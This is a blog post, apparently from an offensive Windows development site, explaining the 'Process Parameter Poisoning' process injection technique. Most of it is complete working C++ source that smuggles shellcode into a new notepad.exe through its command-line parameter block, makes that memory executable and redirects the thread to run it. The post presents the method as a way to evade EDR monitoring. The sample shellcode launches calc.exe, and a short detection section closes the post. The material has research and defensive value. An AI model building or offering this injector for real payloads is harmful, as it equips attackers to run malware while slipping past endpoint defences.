>_0x12Dark
←back to posts
infosecmalwarehackingpentestingcybersecurity

Process Parameter Poisoning

Welcome to this new Medium post. In this one we will see Process Parameter Poisoning, a process injection technique published by SensePost that transfers shellcode into a target process using…

Process Parameter Poisoning

Welcome to this new Medium post. In this one we will see Process Parameter Poisoning, a process injection technique published by SensePost that transfers shellcode into a target process using legitimate process creation parameters rather than the classic VirtualAllocEx/WriteProcessMemory pair

My implementation follows the same approach described in the original post, with one addition: a fix for the null byte constraint using NtCreateUserProcess and RtlCreateProcessParametersEx directly

Original research: Process Parameter Poisoning

Want to go deeper into Windows offensive development?

Video-based courses from beginner to advanced, and text-based modules (mini courses) with new releases constantly. Plus a technique database with 100+ real techniques updated weekly, and custom C2 agents and consulting for teams.

0x12 Dark Development

Introduction

Before getting into the technique itself, there are a few structures and syscalls worth understanding.

RTL_USER_PROCESS_PARAMETERS

Every Windows process has a PEB (Process Environment Block). Inside it, ProcessParameters points to an RTL_USER_PROCESS_PARAMETERS structure that holds the command line, image path, environment, and other strings passed at process creation time

https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-rtl_user_process_parameters

typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
HANDLE ConsoleHandle;
ULONG ConsoleFlags;
HANDLE StandardInput;
HANDLE StandardOutput;
HANDLE StandardError;
CURDIR CurrentDirectory;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine; // this is what we poison
// ...
} RTL_USER_PROCESS_PARAMETERS;

UNICODE_STRING

NT uses length fixed strings, not null terminated ones:

typedef struct _UNICODE_STRING {
USHORT Length; // byte length of the string (not including null)
USHORT MaximumLength; // byte length of the buffer
PWSTR Buffer;
} UNICODE_STRING;

Length is a USHORT, the kernel uses it directly when copying data. It never calls wcslen. This is the property the null byte fix exploits

RtlCreateProcessParametersEx

An ntdll function that builds an RTL_USER_PROCESS_PARAMETERS block in local memory. When called with flag 0x01 (RTL_USER_PROC_PARAMS_NORMALIZED), all Buffer pointers are absolute, letting us memcpy directly into them before passing to the kernel

NtCreateUserProcess

The raw kernel interface for process creation, one level below CreateProcessW. It accepts a pre built RTL_USER_PROCESS_PARAMETERS block, meaning we can control the exact content of the new process's PEB before it ever starts running, including placing shellcode inside the CommandLine buffer

https://ntdoc.m417z.com/ntcreateuserprocess

NtSetContextThread / NtGetContextThread

These syscalls read and write a thread’s CPU context without requiring the thread to be suspended first. We use them to redirect the main thread’s RIP to our shellcode after process creation

Methodology

Classic process injection goes like this:

VirtualAllocEx -> allocate RWX memory in target
WriteProcessMemory -> write shellcode
CreateRemoteThread / NtSetContextThread -> execute

EDRs monitor all three steps, this technique evades two of them

The key is that when Windows creates a process, ntdll copies the process parameters (including CommandLine.Buffer)directly into the new process's address space. No VirtualAllocEx. No WriteProcessMemory. The kernel does the transfer implicitly during NtCreateUserProcess

Steps:

  1. Build process parameters locally with shellcode in the CommandLine buffer
  2. Call NtCreateUserProcess, the kernel maps the params block into the new process's PEB
  3. Read the remote PEB to find where CommandLine.Buffer landed
  4. Change the region’s protection to RWX with NtProtectVirtualMemory
  5. Redirect the main thread’s RIP to that address with NtSetContextThread

The shellcode is never explicitly written to the target, it arrives as part of normal process initialization

The Null Byte Problem

CreateProcessW takes lpCommandLine as a raw LPWSTR and internally calls RtlInitUnicodeString on it, which uses wcslen. That stops at the first null WCHAR. Any shellcode with 0x00 bytes gets truncated

The Fix

UNICODE_STRING.Length is an explicit field, the kernel always uses it, never wcslen, when copying data. So:

  1. Create a dummy CommandLine string of 'A' × shellcode_size (no null bytes)
  2. memcpy the real shellcode (null bytes included) over params->CommandLine.Buffer
  3. Manually set params->CommandLine.Length = shellcode_size
  4. Call NtCreateUserProcess: kernel copies exactly shellcode_size bytes into the new process

Implementation

Build dummy CommandLine and process parameters

size_t paddedSize = (shellcode_size + 1) & ~1ULL;
std::wstring dummyCmdLine(paddedSize / sizeof(WCHAR), L'A');

UNICODE_STRING uCmdLine = {};
pRtlInitUnicodeString(&uCmdLine, dummyCmdLine.c_str());
// uCmdLine.Length = shellcode_size (set by wcslen on the dummy)

UNICODE_STRING uImagePath = {};
pRtlInitUnicodeString(&uImagePath, L"\\SystemRoot\\System32\\notepad.exe");

PRTL_USER_PROCESS_PARAMETERS params = nullptr;
RtlCreateProcessParametersEx(
&params, &uImagePath, nullptr, nullptr,
&uCmdLine, nullptr, nullptr, nullptr, nullptr, nullptr,
0x01
);

Patch the shellcode in (null bytes survive)

memcpy(params->CommandLine.Buffer, shellcode, shellcode_size);
params->CommandLine.Length = (USHORT)shellcode_size;

Spawn the process

PS_CREATE_INFO createInfo = {};
createInfo.Size = sizeof(PS_CREATE_INFO);
createInfo.State = PsCreateInitialState;

CLIENT_ID clientId = {};
PS_ATTRIBUTE_LIST attrList = {};
attrList.TotalLength = sizeof(PS_ATTRIBUTE_LIST);

attrList.Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
attrList.Attributes[0].Size = uImagePath.Length;
attrList.Attributes[0].ValuePtr = uImagePath.Buffer;
attrList.Attributes[0].ReturnLength = nullptr;

attrList.Attributes[1].Attribute = PS_ATTRIBUTE_CLIENT_ID;
attrList.Attributes[1].Size = sizeof(CLIENT_ID);
attrList.Attributes[1].ValuePtr = &clientId;
attrList.Attributes[1].ReturnLength = nullptr;

NtCreateUserProcess(
&hProcess, &hThread,
PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS,
nullptr, nullptr, 0, 0,
params, &createInfo, &attrList
);

Read PEB, protect, redirect

PROCESS_BASIC_INFORMATION pbi = {};
pNtQIP(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), nullptr);

PEB peb = {};
NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), nullptr);

RTL_USER_PROCESS_PARAMETERS remoteParams = {};
NtReadVirtualMemory(hProcess, peb.ProcessParameters, &remoteParams, sizeof(remoteParams), nullptr);

PVOID shellcodeAddr = remoteParams.CommandLine.Buffer;

PVOID protectBase = shellcodeAddr;
SIZE_T regionSize = shellcode_size;
ULONG oldProtect = 0;
NtProtectVirtualMemory(hProcess, &protectBase, &regionSize, PAGE_EXECUTE_READWRITE, &oldProtect);

CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_CONTROL;
NtGetContextThread(hThread, &ctx);
ctx.Rip = (DWORD64)shellcodeAddr;
NtSetContextThread(hThread, &ctx);

Full Code

#include <windows.h>
#include <winternl.h>
#include <iostream>

typedef NTSTATUS(NTAPI* _NtReadVirtualMemory)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
typedef NTSTATUS(NTAPI* _NtProtectVirtualMemory)(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
typedef NTSTATUS(NTAPI* _NtGetContextThread)(HANDLE, PCONTEXT);
typedef NTSTATUS(NTAPI* _NtSetContextThread)(HANDLE, PCONTEXT);
typedef NTSTATUS(NTAPI* _NtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
typedef VOID(NTAPI* _RtlInitUnicodeString_t)(PUNICODE_STRING, PCWSTR);
typedef NTSTATUS(NTAPI* _RtlCreateProcessParametersEx)(
PRTL_USER_PROCESS_PARAMETERS*, PUNICODE_STRING, PUNICODE_STRING,
PUNICODE_STRING, PUNICODE_STRING, PVOID, PUNICODE_STRING,
PUNICODE_STRING, PUNICODE_STRING, PUNICODE_STRING, ULONG
);

typedef enum _PS_CREATE_STATE {
PsCreateInitialState = 0, PsCreateFailOnFileOpen,
PsCreateFailOnSectionCreate, PsCreateFailExeFormat,
PsCreateFailMachineMismatch, PsCreateFailExeName,
PsCreateSuccess, PsCreateMaximumStates
} PS_CREATE_STATE;

typedef struct _PS_CREATE_INFO {
SIZE_T Size; PS_CREATE_STATE State;
union {
struct { ULONG InitFlags; ACCESS_MASK AdditionalFileAccess; } InitState;
struct {
ULONG OutputFlags; HANDLE FileHandle; HANDLE SectionHandle;
ULONGLONG UserProcessParametersNative; ULONG UserProcessParametersWow64;
ULONG CurrentParameterFlags; ULONGLONG PebAddressNative;
ULONG PebAddressWow64; ULONGLONG ManifestAddress; ULONG ManifestSize;
} SuccessState;
};
} PS_CREATE_INFO, * PPS_CREATE_INFO;

#define PS_ATTR(num, thread, input) \
(((ULONG_PTR)(num)) | ((thread) ? 0x10000ULL : 0) | ((input) ? 0x20000ULL : 0))
#define PS_ATTRIBUTE_IMAGE_NAME PS_ATTR(5, FALSE, TRUE)
#define PS_ATTRIBUTE_CLIENT_ID PS_ATTR(3, TRUE, FALSE)

typedef struct _PS_ATTRIBUTE {
ULONG_PTR Attribute; SIZE_T Size;
union { ULONG_PTR Value; PVOID ValuePtr; };
PSIZE_T ReturnLength;
} PS_ATTRIBUTE;

typedef struct _PS_ATTRIBUTE_LIST {
SIZE_T TotalLength; PS_ATTRIBUTE Attributes[2];
} PS_ATTRIBUTE_LIST;

typedef NTSTATUS(NTAPI* _NtCreateUserProcess)(
PHANDLE, PHANDLE, ACCESS_MASK, ACCESS_MASK,
POBJECT_ATTRIBUTES, POBJECT_ATTRIBUTES, ULONG, ULONG,
PRTL_USER_PROCESS_PARAMETERS, PPS_CREATE_INFO, PVOID
);

unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

size_t shellcode_size = sizeof(shellcode) - 1;

static _NtReadVirtualMemory NtReadVirtualMemory = nullptr;
static _NtProtectVirtualMemory NtProtectVirtualMemory = nullptr;
static _NtGetContextThread NtGetContextThread = nullptr;
static _NtSetContextThread NtSetContextThread = nullptr;
static _NtQueryInformationProcess pNtQIP = nullptr;
static _RtlCreateProcessParametersEx RtlCreateProcessParametersEx = nullptr;
static _NtCreateUserProcess NtCreateUserProcess = nullptr;
static _RtlInitUnicodeString_t pRtlInitUnicodeString = nullptr;

bool ResolveAPIs() {
HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
if (!ntdll) return false;
NtReadVirtualMemory = (_NtReadVirtualMemory)GetProcAddress(ntdll, "NtReadVirtualMemory");
NtProtectVirtualMemory = (_NtProtectVirtualMemory)GetProcAddress(ntdll, "NtProtectVirtualMemory");
NtGetContextThread = (_NtGetContextThread)GetProcAddress(ntdll, "NtGetContextThread");
NtSetContextThread = (_NtSetContextThread)GetProcAddress(ntdll, "NtSetContextThread");
pNtQIP = (_NtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
RtlCreateProcessParametersEx = (_RtlCreateProcessParametersEx)GetProcAddress(ntdll, "RtlCreateProcessParametersEx");
NtCreateUserProcess = (_NtCreateUserProcess)GetProcAddress(ntdll, "NtCreateUserProcess");
pRtlInitUnicodeString = (_RtlInitUnicodeString_t)GetProcAddress(ntdll, "RtlInitUnicodeString");
return NtReadVirtualMemory && NtProtectVirtualMemory && NtGetContextThread &&
NtSetContextThread && pNtQIP && RtlCreateProcessParametersEx &&
NtCreateUserProcess && pRtlInitUnicodeString;
}

int main() {
if (!ResolveAPIs()) {
std::cerr << "ResolveAPIs failed\n";
return 1;
}

size_t paddedSize = (shellcode_size + 1) & ~1ULL;
std::wstring dummyCmdLine(paddedSize / sizeof(WCHAR), L'A');
UNICODE_STRING uCmdLine = {};
pRtlInitUnicodeString(&uCmdLine, dummyCmdLine.c_str());


UNICODE_STRING uImagePath = {};
pRtlInitUnicodeString(&uImagePath, L"\\SystemRoot\\System32\\notepad.exe");

PRTL_USER_PROCESS_PARAMETERS params = nullptr;
NTSTATUS status = RtlCreateProcessParametersEx(
&params, &uImagePath, nullptr, nullptr,
&uCmdLine, nullptr, nullptr, nullptr, nullptr, nullptr, 0x01
);
if (!NT_SUCCESS(status)) {
std::cerr << "RtlCreateProcessParametersEx failed: 0x" << std::hex << status << "\n";
return 1;
}

memcpy(params->CommandLine.Buffer, shellcode, shellcode_size);
// This is the null byte fix
params->CommandLine.Length = (USHORT)shellcode_size;
std::cout << "Shellcode patched\n";

HANDLE hProcess = nullptr, hThread = nullptr;

PS_CREATE_INFO createInfo = {};
createInfo.Size = sizeof(PS_CREATE_INFO);
createInfo.State = PsCreateInitialState;

CLIENT_ID clientId = {};
PS_ATTRIBUTE_LIST attrList = {};
attrList.TotalLength = sizeof(PS_ATTRIBUTE_LIST);

attrList.Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
attrList.Attributes[0].Size = uImagePath.Length;
attrList.Attributes[0].ValuePtr = uImagePath.Buffer;
attrList.Attributes[0].ReturnLength = nullptr;

attrList.Attributes[1].Attribute = PS_ATTRIBUTE_CLIENT_ID;
attrList.Attributes[1].Size = sizeof(CLIENT_ID);
attrList.Attributes[1].ValuePtr = &clientId;
attrList.Attributes[1].ReturnLength = nullptr;

status = NtCreateUserProcess(
&hProcess, &hThread,
PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS,
nullptr, nullptr, 0, 0,
params, &createInfo, &attrList
);
if (!NT_SUCCESS(status)) {
std::cerr << "NtCreateUserProcess failed: 0x" << std::hex << status << "\n";
return 1;
}
std::cout << "Process spawned. PID: " << std::dec << (DWORD)(ULONG_PTR)clientId.UniqueProcess << "\n";

PROCESS_BASIC_INFORMATION pbi = {};
pNtQIP(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), nullptr);

PEB peb = {};
NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), nullptr);

RTL_USER_PROCESS_PARAMETERS remoteParams = {};
NtReadVirtualMemory(hProcess, peb.ProcessParameters, &remoteParams, sizeof(remoteParams), nullptr);

PVOID shellcodeAddr = remoteParams.CommandLine.Buffer;
std::cout << "Shellcode at: 0x" << std::hex << (ULONG_PTR)shellcodeAddr << "\n";

PVOID protectBase = shellcodeAddr;
SIZE_T regionSize = shellcode_size;
ULONG oldProtect = 0;

status = NtProtectVirtualMemory(hProcess, &protectBase, &regionSize, PAGE_EXECUTE_READWRITE, &oldProtect);
if (!NT_SUCCESS(status)) {
std::cerr << "NtProtectVirtualMemory failed: 0x" << std::hex << status << "\n";
CloseHandle(hThread);
CloseHandle(hProcess);
return 1;
}
std::cout << "Memory marked RWX\n";

// Execution
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_CONTROL;
NtGetContextThread(hThread, &ctx);
ctx.Rip = (DWORD64)shellcodeAddr;
NtSetContextThread(hThread, &ctx);
std::cout << "RIP redirected\n";

WaitForSingleObject(hProcess, INFINITE);

CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}

Proof of Concept

And the shellcode is executed

Detection

Memory characteristics: The RTL_USER_PROCESS_PARAMETERS block is normally mapped RW, never RWX, in this case we use RWX because of the shellcode but you can use RX if your shellcode doesn't do write operations. A NtProtectVirtualMemory call changing the ProcessParameters region to executable is a strong signal

PEB inspection: The CommandLine field in the target process's PEB containing shellcode patterns is detectable by memory scanning tools

Conclusions

Process Parameter Poisoning is a clean injection primitive: no VirtualAllocEx, no WriteProcessMemory, no NtCreateThreadEx. The shellcode reaches the target process via the legitimate process creation path, the kernel itself is the write primitive

The null byte constraint is solved at the UNICODE_STRING level. Since the kernel always respects the Length field and never calls wcslen internally, setting that field manually and patching the buffer with memcpy is sufficient to transfer arbitrary shellcode, null bytes included

📌 Follow me: 🐦 X | 💬 Discord Server | 📸 Instagram | Newsletter | YouTube

S12.

Process Parameter Poisoning